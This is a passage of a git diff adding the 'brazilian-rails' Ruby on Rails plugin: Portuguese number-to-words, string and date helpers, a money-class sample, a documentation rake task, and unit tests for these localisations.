#{por_extenso(v)}" + end + when 1000..999999 + m,c=n/1000,n%1000 + %(#{por_extenso(m)} mil#{c > 0 ? " e #{por_extenso(c)}":''}) + when 1_000_000..999_999_999 + mi,m=n/1_000_000,n%1_000_000 + %(#{por_extenso(mi)} milh#{mi > 1 ? 'ões':'ão'}#{m > 0 ? " e #{por_extenso(m)}" : ''}) + when 1_000_000_000..999_999_999_999 + bi,mi=n/1_000_000_000,n%1_000_000_000 + %(#{por_extenso(bi)} bilh#{bi > 1 ? 'ões':'ão'}#{mi > 0 ? " e #{por_extenso(mi)}" : ''}) + when 1_000_000_000_000..999_999_999_999_999 + tri,bi=n/1_000_000_000_000,n%1_000_000_000_000 + %(#{por_extenso(tri)} trilh#{tri > 1 ? 'ões':'ão'}#{bi > 0 ? " e #{por_extenso(bi)}" : ''}) + else + raise "Valor excede o permitido: #{n}" + end + end +end + +module ExtensoReal + include Extenso + + # Escreve por extenso em reais. + # + # Exemplo: + # 1.por_extenso_em_reais ==> 'um real' + # (100.58).por_extenso_em_reais ==> 'cem reais e cinquenta e oito centavos' + def por_extenso_em_reais + ExtensoReal.por_extenso_em_reais(self.to_s) + end + + # DEPRECATION WARNING: use por_extenso_em_reais, pois este sera removido no proximo release. + def to_extenso_real + warn('DEPRECATION WARNING: use por_extenso_em_reais, pois este sera removido no proximo release.') + self.por_extenso_em_reais + end + + # Escreve o numero por extenso em reais. + # + # Exemplo: + # Extenso.por_extenso_em_reais(1) ==> "um real" + # Extenso.por_extenso_em_reais(100) ==> "cem reais" + # Extenso.por_extenso_em_reais(100.58) ==> "cem reais e cinquenta e oito centavos" + def ExtensoReal.por_extenso_em_reais(valor) + return 'grátis' if valor == 0 + case valor + when Integer + extenso = Extenso.por_extenso(valor) + if extenso =~ /^(.*)(ão$|ões$)/ + complemento = 'de ' + else + complemento = '' + end + %(#{extenso} #{valor <= 1 ? 'real': "#{complemento}reais"}) + when Float + real,cents=("%.2f" % valor).split(/\./).map{ |m| m.to_i} + valor_cents=Extenso.por_extenso(cents%100) + + valor_cents+= case cents.to_i%100 + when 0: "" + when 1: " centavo" + when 2..99: " centavos" + end + + if real.to_i > 0 + "#{ExtensoReal.por_extenso_em_reais(real.to_i)}#{cents > 0 ? ' e ' + valor_cents : ''}" + else + "#{valor_cents}" + end + else + ExtensoReal.por_extenso_em_reais(valor.to_s.strip.gsub(/[^\d]/,'.').to_f) + end + end +end \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/lib/string_portuguese.rb b/vendor/plugins/brazilian-rails/lib/string_portuguese.rb new file mode 100644 index 0000000..af7f5d2 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/string_portuguese.rb @@ -0,0 +1,46 @@ +module StringPortuguese + MINUSCULAS_COM_ACENTO = 'áéíóúâêîôûàèìòùäëïöüãõñç' + MAIUSCULAS_COM_ACENTO = 'ÁÉÍÓÚÂÊÎÔÛÀÈÌÒÙÄËÏÖÜÃÕÑÇ' + + # Normaliza nomes proprios + # + # Exemplo: + # 'maria de souza dos santos e silva da costa'.nome_proprio ==> 'Maria de Souza dos Santos e Silva da Costa' + def nome_proprio + palavras = [] + self.titleize().each do |palavra| + palavra =~ /^(.)(.*)$/ + palavras << "#{$1.upcase_br}#{$2}" + end + palavras.join(' ').gsub(/ D(a|e|o|as|os) /, ' d\1 ').gsub(/ E /, ' e ') + end + + # Remove as letras acentuadas + # + # Exemplo: + # 'texto está com acentuação'.remover_acentos ==> 'texto esta com acentuacao' + def remover_acentos + texto = self + texto = texto.gsub(/[á|à|ã|â|ä]/, 'a').gsub(/(é|è|ê|ë)/, 'e').gsub(/(í|ì|î|ï)/, 'i').gsub(/(ó|ò|õ|ô|ö)/, 'o').gsub(/(ú|ù|û|ü)/, 'u') + texto = texto.gsub(/(Á|À|Ã|Â|Ä)/, 'A').gsub(/(É|È|Ê|Ë)/, 'E').gsub(/(Í|Ì|Î|Ï)/, 'I').gsub(/(Ó|Ò|Õ|Ô|Ö)/, 'O').gsub(/(Ú|Ù|Û|Ü)/, 'U') + texto = texto.gsub(/ñ/, 'n').gsub(/Ñ/, 'N') + texto = texto.gsub(/ç/, 'c').gsub(/Ç/, 'C') + texto + end + + # Retorna uma string com caracteres maiusculos + # + # Exemplo: + # 'texto com acentuação'.upcase_br ==> 'TEXTO COM ACENTUAÇÃO' + def upcase_br + self.tr(MINUSCULAS_COM_ACENTO, MAIUSCULAS_COM_ACENTO).upcase + end + + # Retorna uma string com caracteres minúsculos + # + # Exemplo: + # 'TEXTO COM ACENTUAÇÃO'.downcase_br ==> 'texto com acentuação' + def downcase_br + self.tr(MAIUSCULAS_COM_ACENTO, MINUSCULAS_COM_ACENTO).downcase + end +end diff --git a/vendor/plugins/brazilian-rails/lib/time_portuguese.rb b/vendor/plugins/brazilian-rails/lib/time_portuguese.rb new file mode 100644 index 0000000..13a59c1 --- /dev/null +++ b/vendor/plugins/brazilian-rails/lib/time_portuguese.rb @@ -0,0 +1,10 @@ +class Time + # Retorna a hora no padrao brasileiro + # + # Exemplo: + # hora = Time.new + # hora.to_s_br ==> "27/09/2007 13:54" + def to_s_br + self.strftime("%d/%m/%Y %H:%M") + end +end \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/samples/dinheiro/001_create_lancamentos.rb b/vendor/plugins/brazilian-rails/samples/dinheiro/001_create_lancamentos.rb new file mode 100644 index 0000000..9e345d0 --- /dev/null +++ b/vendor/plugins/brazilian-rails/samples/dinheiro/001_create_lancamentos.rb @@ -0,0 +1,12 @@ +class CreateLancamentos < ActiveRecord::Migration + def self.up + create_table :lancamentos do |t| + t.column :descricao, :string, :null => false + t.column :valor, :decimal, :precision => 14, :scale => 2, :null => false + end + end + + def self.down + drop_table :lancamentos + end +end diff --git a/vendor/plugins/brazilian-rails/samples/dinheiro/README b/vendor/plugins/brazilian-rails/samples/dinheiro/README new file mode 100644 index 0000000..54d525f --- /dev/null +++ b/vendor/plugins/brazilian-rails/samples/dinheiro/README @@ -0,0 +1,6 @@ +* Como utilizar a classe Dinheiro em uma classe de modelo da aplicação? + +Vamos imaginar um exemplo. Suponha uma classe Lancamento que possui dois atributos: descricao e valor. + +Veja a migration utilizada no arquivo: 001_create_lancamentos.rb +Veja a classe de modelo Lancamento no arquivo: lancamento.rb \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/samples/dinheiro/lancamento.rb b/vendor/plugins/brazilian-rails/samples/dinheiro/lancamento.rb new file mode 100644 index 0000000..6196627 --- /dev/null +++ b/vendor/plugins/brazilian-rails/samples/dinheiro/lancamento.rb @@ -0,0 +1,5 @@ +class Lancamento < ActiveRecord::Base + composed_of :valor, + :class_name => Dinheiro, + :mapping => [[:valor, :valor_decimal]]; +end diff --git a/vendor/plugins/brazilian-rails/tasks/portugues_tasks.rake b/vendor/plugins/brazilian-rails/tasks/portugues_tasks.rake new file mode 100644 index 0000000..7007b49 --- /dev/null +++ b/vendor/plugins/brazilian-rails/tasks/portugues_tasks.rake @@ -0,0 +1,34 @@ +# desc "Explaining what the task does" +# task :portugues do +# # Task goes here +# end + +desc "Generate documation for Brazilian Rails plugins" +namespace :gerar_doc do + namespace :plugins do + plugin = 'brazilian-rails' + doc_base = "doc/plugins/#{plugin}" + task(plugin => :environment) do + FileUtils.remove_dir(doc_base, true) + plugin_base = "vendor/plugins/#{plugin}" + options = [] + files = Rake::FileList.new + options << "-o doc/plugins/#{plugin}" + options << "--title '#{plugin.titlecase} Plugin Documentation'" + options << '--line-numbers' << '--inline-source' + options << '-T html' + options << '--charset UTF8' + + files.include("#{plugin_base}/lib/**/*.rb") + if File.exists?("#{plugin_base}/README") + files.include("#{plugin_base}/README") + options << "--main '#{plugin_base}/README'" + end + files.include("#{plugin_base}/CHANGELOG") if File.exists?("#{plugin_base}/CHANGELOG") + + options << files.to_s + + sh %(rdoc #{options * ' '}) + end + end +end diff --git a/vendor/plugins/brazilian-rails/test/action_view_test.rb b/vendor/plugins/brazilian-rails/test/action_view_test.rb new file mode 100644 index 0000000..b6a2909 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/action_view_test.rb @@ -0,0 +1,161 @@ +require File.dirname(__FILE__) + '/test_helper' +require 'mocha' + +class ActionViewTest < Test::Unit::TestCase + + include ActionView::Helpers::FormHelper + include ActionView::Helpers::ActiveRecordHelper + include ActionView::Helpers::TextHelper + include ActionView::Helpers::TagHelper + include ActionView::Helpers::UrlHelper + include ActionView::Helpers::FormTagHelper + include ActionView::Helpers::DateHelper + + silence_warnings do + Post = Struct.new("Post", :title, :author_name, :body, :secret, :written_on) + Post.class_eval do + alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast) + alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast) + alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast) + end + + User = Struct.new("User", :email) + User.class_eval do + alias_method :email_before_type_cast, :email unless respond_to?(:email_before_type_cast) + end + + Column = Struct.new("Column", :type, :name, :human_name) + end + + + def setup_post + @post = Post.new + def @post.errors + Class.new { + def on(field) field == "author_name" || field == "body" end + def empty?() false end + def count() 1 end + def full_messages() [ "Author name can't be empty" ] end + }.new + end + + def @post.new_record?() true end + def @post.to_param() nil end + + def @post.column_for_attribute(attr_name) + Post.content_columns.select { |column| column.name == attr_name }.first + end + + silence_warnings do + def Post.content_columns() [ Column.new(:string, "title", "Title"), Column.new(:text, "body", "Body") ] end + end + + @post.title = "Hello World" + @post.author_name = "" + @post.body = "Back to the hill and over it again!" + @post.secret = 1 + @post.written_on = Date.new(2004, 6, 15) + end + + def setup_user + @user = User.new + def @user.errors + Class.new { + def on(field) field == "email" end + def empty?() false end + def count() 1 end + def full_messages() [ "User email can't be empty" ] end + }.new + end + + def @user.new_record?() true end + def @user.to_param() nil end + + def @user.column_for_attribute(attr_name) + User.content_columns.select { |column| column.name == attr_name }.first + end + + silence_warnings do + def User.content_columns() [ Column.new(:string, "email", "Email") ] end + end + + @user.email = "" + end + + def setup + setup_post + setup_user + + @controller = Object.new + def @controller.url_for(options) + options = options.symbolize_keys + + [options[:action], options[:id].to_param].compact.join('/') + end + end + + + def test_error_for_block + assert_dom_equal %(

    1 erro para post

    Foram detectados os seguintes erros:

    • Author name can't be empty
    ), error_messages_for("post") + assert_equal %(

    1 erro para post

    Foram detectados os seguintes erros:

    • Author name can't be empty
    ), error_messages_for("post", :class => "errorDeathByClass", :id => "errorDeathById", :header_tag => "h1") + assert_equal %(

    1 erro para post

    Foram detectados os seguintes erros:

    • Author name can't be empty
    ), error_messages_for("post", :class => nil, :id => "errorDeathById", :header_tag => "h1") + assert_equal %(

    1 erro para post

    Foram detectados os seguintes erros:

    • Author name can't be empty
    ), error_messages_for("post", :class => "errorDeathByClass", :id => nil, :header_tag => "h1") + end + + def test_error_messages_for_handles_nil + assert_equal "", error_messages_for("notthere") + end + + def test_error_message_on_handles_nil + assert_equal "", error_message_on("notthere", "notthere") + end + + def test_error_message_on + assert error_message_on(:post, :author_name) + end + + def test_error_messages_for_many_objects + assert_dom_equal %(

    2 erros para post

    Foram detectados os seguintes erros:

    • Author name can't be empty
    • User email can't be empty
    ), error_messages_for("post", "user") + + # reverse the order, error order changes and so does the title + assert_dom_equal %(

    2 erros para user

    Foram detectados os seguintes erros:

    • User email can't be empty
    • Author name can't be empty
    ), error_messages_for("user", "post") + + # add the default to put post back in the title + assert_dom_equal %(

    2 erros para post

    Foram detectados os seguintes erros:

    • User email can't be empty
    • Author name can't be empty
    ), error_messages_for("user", "post", :object_name => "post") + + # symbols work as well + assert_dom_equal %(

    2 erros para post

    Foram detectados os seguintes erros:

    • User email can't be empty
    • Author name can't be empty
    ), error_messages_for(:user, :post, :object_name => :post) + + # any default works too + assert_dom_equal %(

    2 erros para monkey

    Foram detectados os seguintes erros:

    • User email can't be empty
    • Author name can't be empty
    ), error_messages_for(:user, :post, :object_name => "monkey") + end + + def test_form_with_string_multipart + assert_dom_equal( + %(


    \n


    ), + form("post", :multipart => true) + ) + end + + def test_distance_of_time_in_words + assert_equal "menos de um minuto", distance_of_time_in_words("Sat Sep 08 22:51:58 -0300 2007".to_time, "Sat Sep 08 22:51:59 -0300 2007".to_time) + assert_equal "menos de 5 segundos", distance_of_time_in_words("Sat Sep 08 22:51:58 -0300 2007".to_time, "Sat Sep 08 22:51:59 -0300 2007".to_time, true) + assert_equal "menos de 10 segundos", distance_of_time_in_words("Sat Sep 08 22:51:50 -0300 2007".to_time, "Sat Sep 08 22:51:55 -0300 2007".to_time, true) + assert_equal "menos de 20 segundos", distance_of_time_in_words("Sat Sep 08 22:51:00 -0300 2007".to_time, "Sat Sep 08 22:51:10 -0300 2007".to_time, true) + assert_equal "meio minuto", distance_of_time_in_words("Sat Sep 08 22:51:00 -0300 2007".to_time, "Sat Sep 08 22:51:20 -0300 2007".to_time, true) + assert_equal "menos de um minuto", distance_of_time_in_words("Sat Sep 08 22:51:00 -0300 2007".to_time, "Sat Sep 08 22:51:40 -0300 2007".to_time, true) + assert_equal "1 minuto", distance_of_time_in_words("Sat Sep 08 22:51:00 -0300 2007".to_time, "Sat Sep 08 22:52:00 -0300 2007".to_time, true) + assert_equal "1 minuto", distance_of_time_in_words("Sat Sep 08 22:51:59 -0300 2007".to_time, "Sat Sep 08 22:52:59 -0300 2007".to_time) + assert_equal "2 minutos", distance_of_time_in_words("Sat Sep 08 22:51:59 -0300 2007".to_time, "Sat Sep 08 22:53:59 -0300 2007".to_time) + assert_equal "aproximadamente 1 hora", distance_of_time_in_words("Sat Sep 08 21:51:59 -0300 2007".to_time, "Sat Sep 08 22:51:59 -0300 2007".to_time) + assert_equal "aproximadamente 2 horas", distance_of_time_in_words("Sat Sep 08 20:51:59 -0300 2007".to_time, "Sat Sep 08 22:51:59 -0300 2007".to_time) + assert_equal "1 dia", distance_of_time_in_words("Sat Sep 07 20:51:59 -0300 2007".to_time, "Sat Sep 08 20:51:59 -0300 2007".to_time) + assert_equal "2 dias", distance_of_time_in_words("Sat Sep 06 20:51:59 -0300 2007".to_time, "Sat Sep 08 20:51:59 -0300 2007".to_time) + assert_equal "aproximadamente 1 mês", distance_of_time_in_words("Sat Oct 06 20:51:59 -0300 2007".to_time, "Sat Sep 06 20:51:59 -0300 2007".to_time) + assert_equal "2 meses", distance_of_time_in_words("Sat Nov 06 20:51:59 -0300 2007".to_time, "Sat Sep 06 20:51:59 -0300 2007".to_time) + assert_equal "12 meses", distance_of_time_in_words("Sat Nov 06 20:51:59 -0300 2006".to_time, "Sat Nov 06 20:51:59 -0300 2007".to_time) + assert_equal "aproximadamente 1 ano", distance_of_time_in_words("Sat Nov 06 20:51:59 -0300 2006".to_time, "Sat Dec 06 20:51:59 -0300 2007".to_time) + assert_equal "mais de 3 anos", distance_of_time_in_words("Sat Nov 06 20:51:59 -0300 2006".to_time, "Sat Dec 06 20:51:59 -0300 2009".to_time) + end + +end diff --git a/vendor/plugins/brazilian-rails/test/active_record_test.rb b/vendor/plugins/brazilian-rails/test/active_record_test.rb new file mode 100644 index 0000000..7ca458a --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/active_record_test.rb @@ -0,0 +1,30 @@ +require File.dirname(__FILE__) + '/test_helper' + +class ActiveRecordTestable < ActiveRecord::Errors + + def self.default_error_messages + @@default_error_messages + end + +end + +class ActiveRecordTest < Test::Unit::TestCase + + # Replace this with your real tests. + def test_this_plugin + errors = ActiveRecordTestable.default_error_messages + assert_equal "não está incluído na lista", errors[:inclusion] + assert_equal "está reservado", errors[:exclusion] + assert_equal "é inválido.", errors[:invalid] + assert_equal "não corresponde à confirmação", errors[:confirmation] + assert_equal "deve ser aceito", errors[:accepted] + assert_equal "não pode estar vazio", errors[:empty] + assert_equal "não pode estar em branco", errors[:blank] + assert_equal "muito longo (máximo %d caracteres)", errors[:too_long] + assert_equal "muito curto (mínimo %d caracteres)", errors[:too_short] + assert_equal "de comprimento errado (deveria ter %d caracteres)", errors[:wrong_length] + assert_equal "já está em uso", errors[:taken] + assert_equal "não é um número", errors[:not_a_number] + end + +end diff --git a/vendor/plugins/brazilian-rails/test/date_test.rb b/vendor/plugins/brazilian-rails/test/date_test.rb new file mode 100755 index 0000000..66473d4 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/date_test.rb @@ -0,0 +1,95 @@ +require File.dirname(__FILE__) + '/test_helper' + +class DateTest < Test::Unit::TestCase + + # to_date + def test_create_date_with_traditional_date_format + assert_equal "2007-01-02", "2007/01/02".to_date.to_s + end + + def test_create_date_with_brazilian_date_format + assert_equal "2007-12-13", "13/12/2007".to_date.to_s + end + + def test_create_date_with_other_brazilian_date_format + assert_equal "2007-02-01", "01-02-2007".to_date.to_s + end + + + #to_s + def test_date_to_s_with_traditional_format + assert_equal "2007-02-01", "01/02/2007".to_date.to_s + end + + #to_s_br + def test_date_to_s_br + assert_equal "13/12/2007", "13/12/2007".to_date.to_s_br + end + + #valid? + def test_valid_when_date_format_is_traditional_and_valid_format_and_valid_civil + assert Date.valid?("2007/01/02"), "Should be a valid date" + end + + def test_valid_when_date_format_is_brazilian_and_valid_format_and_valid_civil + assert Date.valid?("13/12/2007"), "Should be a valid date" + end + + def test_valid_when_date_format_is_invalid + assert !Date.valid?("13/12/200A"), "Should be a invalid date" + end + + def test_valid_when_date_format_is_brazilian_and_valid_format_and_invalid_civil + assert !Date.valid?("00/00/0000"), "Should be a invalid date" + end + + def test_month_names + assert_equal [nil, + "Janeiro", + "Fevereiro", + "Marco", + "Abril", + "Maio", + "Junho", + "Julho", + "Agosto", + "Setembro", + "Outubro", + "Novembro", + "Dezembro"], + Date::MONTHNAMES + end + + def test_days_names + assert_equal ["Domingo", + "Segunda-Feira", + "Terca-Feira", + "Quarta-Feira", + "Quinta-Feira", + "Sexta-Feira", + "Sabado"], + Date::DAYNAMES + end + + def test_abbr_monthnames + assert_equal [nil, + "Jan", + "Fev", + "Mar", + "Abr", + "Mai", + "Jun", + "Jul", + "Ago", + "Set", + "Out", + "Nov", + "Dez"], + Date::ABBR_MONTHNAMES + end + + def test_abbr_daysnames + assert_equal ["Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sab"], Date::ABBR_DAYNAMES + end + +end diff --git a/vendor/plugins/brazilian-rails/test/dinheiro_test.rb b/vendor/plugins/brazilian-rails/test/dinheiro_test.rb new file mode 100644 index 0000000..00b98a2 --- /dev/null +++ b/vendor/plugins/brazilian-rails/test/dinheiro_test.rb @@ -0,0 +1,435 @@ +require File.expand_path(File.dirname(__FILE__) + '/test_helper') + +class DinheiroTest < Test::Unit::TestCase + + CONTABIL = { "(2,00)" => -2, + "2,00" => 2, + "0,00" => 0, + "0,32" => 0.32, + "(0,01)" => -0.01 } + + REAL_CONTABIL = { "R$ (1,00)" => -1, + "R$ (0,12)" => -0.12, + "R$ 1,00" => 1, + "R$ 1,00" => 1, + "R$ 1,00" => 1, + "R$ 0,00" => 0 } + + SOMA = { 0.real => 0.real + 0.real, + 1.real => 0.real + 1.real, + 1.real => 1.real + 0.real, + 2.reais => 1.real + 1.real, + 2.reais => 0.real + 2.reais, + 2.reais => 2.reais + 0.real, + 0.real => 2.real + -2.real, + 0.real => 0.real + BigDecimal.new("0"), + 0.3.real => 0.real + 0.3.real, + -0.3.real => 0.real + -0.3.real, + -0.03.real => 0 + -0.03.real, + -0.03.real => 0.real + -0.03, + -1.03.real => -1.real + -0.03, + -1.03.real => -1.real + BigDecimal.new("-0.03") } + + SUBTRACAO = { 0.real => 0.real - 0.real, + -1.real => 0.real - 1.real, + 1.real => 1.real - 0.real, + 0.real => 1.real - 1.real, + -2.reais => 0.real - 2.reais, + 2.reais => 2.reais - 0.real, + -4.reais => -2.reais - 2.reais, + 0.3.real => 0.3.real - 0.real, + 0.03.real => 0.03.real - 0.real, + 0.03.real => 0.06.real - 0.03.real, + -0.03.real => 0 - 0.03.real, + -0.03.real => 0.real - 0.03, + -1.03.real => -1.real - 0.03, + -1.03.real => -1.real - BigDecimal.new("0.03") } + + MULTIPLICACAO = { 0.real => 0.real * 0, + 0.real => 0.real * 1, + 0.real => 0.real * -1, + 1.real => 1.real * 1, + 1.real => -1.real * -1, + -1.real => 1.real * -1, + -1.real => -1.real * 1, + 0.1.real => 1.real * 0.1, + 0.01.real => 1.real * 0.01, + 0.01.real => 1.real * 0.009, + 0.01.real => 1.real * 0.005, + 0.00.real => 1.real * 0.0049, + 0.1.real => 0.1.real * 1, + 0.01.real => 0.01.real * 1, + 0.01.real => 0.009.real * 1, + 0.00.real => 0.00049.real * 1, + 0.real => 0.real * 0.real, + 0.real => 0.real * BigDecimal("0"), + 1.real => 1.real * 1.real, + 1.real => 1.real * BigDecimal("1"), + 1.real => 0.5.real * 2.real, + 1.real => 0.5.real * BigDecimal("2"), + 1.real => 1 * 1.real, + -1.real => -1 * 1.real, + 1.real => -1 * -1.real, + 0.01.real => 0.01 * 1.real, + 0.01.real => 1.real * BigDecimal("0.01"), + 0.01.real => BigDecimal("0.01") * 1.real } + + DIVISAO = { + [Dinheiro.new(0.33), Dinheiro.new(0.33), Dinheiro.new(0.34)] => Dinheiro.new(1) / 3, + [Dinheiro.new(33.33), Dinheiro.new(33.33), Dinheiro.new(33.34)] => Dinheiro.new(100) / 3, + [Dinheiro.new(50.00), Dinheiro.new(50)] => Dinheiro.new(100) / 2, + [Dinheiro.new(0.25), Dinheiro.new(0.25)] => Dinheiro.new(0.5) / 2, + [Dinheiro.new(0.16), Dinheiro.new(0.16),Dinheiro.new(0.18)] => Dinheiro.new(0.5) / 3, + [Dinheiro.new(0.33)] => Dinheiro.new(0.33) / 1 , + [Dinheiro.new(0.33)] => Dinheiro.new(0.33) / 1 , + } + + + QUANTIA_COM_FORMATO_VALIDO = [ "1211", + "1211.", + "1211.0", + "1211.23", + "1211,23", + "1.211", + "1.211,00", + "1.211,01", + "1.211,1", + "1.211,", + "1,", + "12,", + "32349898989912,", + "32.349.898.989.912,", + "32.349.898.989.912,1", + "32.349.898.989.912,12", + "1", + "1.00", + "1.01", + "1.1", + "1.", + ".1", + ".12", + "0.12", + "1.12", + "12.12", + "12.12", + "123.12", + "1,234.12", + "12,234.12", + "123,234.12", + "2,123,234.12", + ",1", + ",11", + ",01", + "0,01" ] + QUANTIA_COM_FORMATO_INVALIDO = [ 'teste', + '12,123,99', + '12.123.99', + '1,123,99', + '1212,39.90' ] + + COMPARACAO = [ 1.real < 2.reais, + 1.real <= 2.reais, + 2.real > 1.real, + 2.real >= 1.real, + 1.real == 1.real, + 1.real >= 1.real, + 1.real <= 1.real ] + + COMPARACAO_COM_ESCALAR = [ 1.real < 2.00, + 1.real <= 2.00, + 2.real > 1.00, + 2.real >= 1.00, + 1.real == 1.00, + 1.real >= 1.00, + 1.real <= 1.00 ] + + ARREDONDAMENTO = { 23049 => 230.49, + 23049 => 230.4949999999, + 23050 => 230.495 } + + PONTO_NO_MILHAR = { "234.175.211" => "234175211", + "" => "", + "1" => "1", + "12" => "12", + "123" => "123", + "1.234" => "1234", + "12.345" => "12345", + "123.456" => "123456", + "123.112.211" => "123112211", + "1.234.567" => "1234567" } + + QUANTIA_VALIDA = { "0,00" => 0 , + "0,00" => 0.0 , + "0,00" => "0" , + "0,00" => "0,00" , + "1,00" => 1 , + "1,03" => 1.03 , + "1,03" => "1,03" , + "0,03" => ",03" , + "0,30" => ",3" , + "0,03" => ".03" , + "0,30" => ".3" , + "-0,30" => -0.3 , + "-0,03" => -0.03 , + "1,00" => "1,00" , + "-1,00" => -1 , + "-1,00" => -1.0 , + "-1,00" => "-1" , + "-1,00" => "-1,00" , + "-2,30" => "-2,30" , + "2,30" => "2,30" , + "2,30" => 2.30 , + "2,30" => 2.3 , + "1.211,00" => "1211,00" , + "1.211,01" => "1211,01" , + "1.211,50" => "1211,5" , + "1.211,00" => "1211," , + "1.211,00" => "1211" , + "1.211,00" => "1211.00" , + "1.211,01" => "1211.01" , + "1.211,20" => "1211.2" , + "1.211,00" => "1211." , + "1.211,00" => "1211" , + "1.211,00" => "1.211" , + "123.112.211,35" => "123112211,35" , + "-123.112.211,35" => "-123112211,35" , + "123.112.211,35" => "+123112211,35" } + + PARTE_INTEIRA = [ -1, -123112211, 0, 1, 12344545 ] + + + def setup + tornar_metodos_publicos Dinheiro + @dinheiro = 1.real + end + + def testa_se_cria_dinheiro_a_partir_de_quantias_validos + QUANTIA_VALIDA.each do |esperado, quantia| + assert_equal esperado, Dinheiro.new(quantia).to_s, "Deveria ter vindo o quantia: #{esperado} quando recebeu #{quantia}" + end + end + + # coloca_ponto_no_milhar + def testa_se_coloca_ponto_no_milhar + PONTO_NO_MILHAR.each do |esperado, quantia| + { esperado => quantia, + "-#{esperado}" => "-#{quantia}" }.each do |esperado, quantia| + assert_equal esperado, @dinheiro.inteiro_com_milhar(quantia) + end + end + end + + # real + def testa_real + assert_equal "R$ 1,00", Dinheiro.new(1).real + end + + def testa_real_contabil + REAL_CONTABIL.each { |esperado, quantia| assert_equal esperado, Dinheiro.new(quantia).real_contabil } + end + + def testa_reais_contabeis + REAL_CONTABIL.each { |esperado, quantia| assert_equal esperado, Dinheiro.new(quantia).reais_contabeis } + end + + # reais + def testa_reais + assert_equal "R$ 2,00", Dinheiro.new(2).reais + end + + def testa_contabil + CONTABIL.each { |esperado, quantia| assert_equal esperado, Dinheiro.new(quantia).contabil } + end + + # == + def testa_igualdade + assert_equal Dinheiro.new(1), Dinheiro.new(1) + end + + def testa_igualdade_quando_passa_possivel_dinheiro + assert_equal Dinheiro.new(1), 1.0 + end + + # / (divisao/parcelamento) + def testa_divisao + DIVISAO.each { |parcelas, divisao| assert_equal parcelas, divisao } + end + + def testa_divisao_por_zero + assert_raise(ZeroDivisionError) { 1.real / 0 } + end + + def testa_divisao_por_algo_que_nao_seja_um_escalar + assert_raise(DivisaPorNaoEscalarError) { 10.reais / 2.reais } + end + + # initialize + def testa_se_cria_dinheiro_a_partir_de_float + verifica_se_cria_dinheiro_para 1.0 + end + + def testa_se_cria_dinheiro_a_partir_de_fixnum + verifica_se_cria_dinheiro_para 1 + end + + def testa_se_cria_dinheiro_a_partir_de_bigdecimal + verifica_se_cria_dinheiro_para BigDecimal.new("1") + end + + def testa_se_cria_dinheiro_a_partir_de_string + verifica_se_cria_dinheiro_para "1" + end + + def testa_se_rejeita_criacao_de_dinheiro_a_partir_de_string_invalida + QUANTIA_COM_FORMATO_INVALIDO.each do |quantia| + assert_raise DinheiroInvalidoError, "Deveria ter rejeitado [#{quantia}]" do + Dinheiro.new quantia + end + end + end + + # + (soma) + def testa_soma + SOMA.each{ |esperado, soma| assert_equal esperado, soma } + end + + # - (subtracao) + def testa_subtracao + SUBTRACAO.each { |esperado, subtracao| assert_equal esperado, subtracao } + end + + # * (multiplicacao) + def testa_multiplicacao + MULTIPLICACAO.each { |esperado, multiplicacao| assert_equal esperado, multiplicacao } + end + + # quantia_de + def testa_quantia_de + assert_equal 0, @dinheiro.quantia_de(0.real) + assert_equal 0, @dinheiro.quantia_de(0) + end + + #por_extenso + def testa_por_extenso + assert_equal 'um real', 1.real.por_extenso + assert_equal 'um centavo', (0.01).real.por_extenso + assert_equal 'cem reais', 100.real.por_extenso + assert_equal 'cem reais e um centavo', (100.01).real.por_extenso + end + + #por_extenso_em_reais + def testa_por_extenso + assert_equal 'um real', 1.real.por_extenso_em_reais + assert_equal 'um centavo', (0.01).real.por_extenso_em_reais + assert_equal 'cem reais', 100.real.por_extenso_em_reais + assert_equal 'cem reais e um centavo', (100.01).real.por_extenso_em_reais + end + + # to_f + def testa_to_f + assert_equal 2.30, 2.30.real.to_f + end + + # quantia_respeita_formato? + def testa_se_quantia_respeita_formato + QUANTIA_COM_FORMATO_VALIDO.each { |quantia| verifica_se_quantia_respeita_formato quantia } + end + + # >, <, == (ordenacao) + def testa_comparacao_entre_dinheiro + COMPARACAO.each { |comparacao| assert comparacao } + end + + def testa_comparacao_entre_possivel_dinheiro + COMPARACAO_COM_ESCALAR.each { |comparacao_com_escalar| assert comparacao_com_escalar } + end + + # decimal + def testa_decimal_quando_todas_as_casas_estao_preenchidas + verifica_decimal("12") + end + + def testa_decimal_quando_apenas_uma_das_casas_esta_preenchida + verifica_decimal("10", "1") + end + + def testa_decimal_quando_nenhuma_das_casas_esta_preenchida + verifica_decimal("00", "") + end + + def testa_se_transforma_em_string_que_represente_a_quantia_quando_tem_tres_digitos + verifica_se_transforma_em_string_corretamente "1.23", 123 + end + + def testa_se_transforma_em_string_que_represente_a_quantia_quando_tem_dois_digitos + verifica_se_transforma_em_string_corretamente "0.12", 12 + end + + def testa_se_transforma_em_string_que_represente_a_quantia_quando_tem_um_digito + verifica_se_transforma_em_string_corretamente "0.03", 3 + end + + def testa_se_transforma_em_string_para_valores_especiais + verifica_se_transforma_em_string_corretamente "-123112211.00", -12311221100 + end + + # parte_inteira + def testa_parte_inteira + PARTE_INTEIRA.each { |quantia| assert_equal "#{quantia}", Dinheiro.new(quantia).parte_inteira } + end + + def testa_se_arredonda_valores_corretamente + ARREDONDAMENTO.each do |esperado, quantia| + assert_equal esperado, Dinheiro.new(quantia).quantia, "Deveria retornar #{esperado} para #{quantia}" + end + end + + def testa_se_valor_decimal_cria_o_big_decimal_corretamente + assert_equal BigDecimal.new("1234.56"), Dinheiro.new("1234,56").valor_decimal + end + + def testa_soma_de_dinheiro_com_big_decimal + assert_equal Dinheiro.new(200), BigDecimal.new("100").reais + "100".reais + end + + private + + def verifica_se_transforma_em_string_corretamente(quantia_esperada, quantia) + assert_equal quantia_esperada, @dinheiro.transforma_em_string_que_represente_a_quantia(quantia) + end + + def verifica_decimal(esperado, quantia = esperado) + assert_equal esperado, @dinheiro.decimal("." + quantia) + assert_equal esperado, 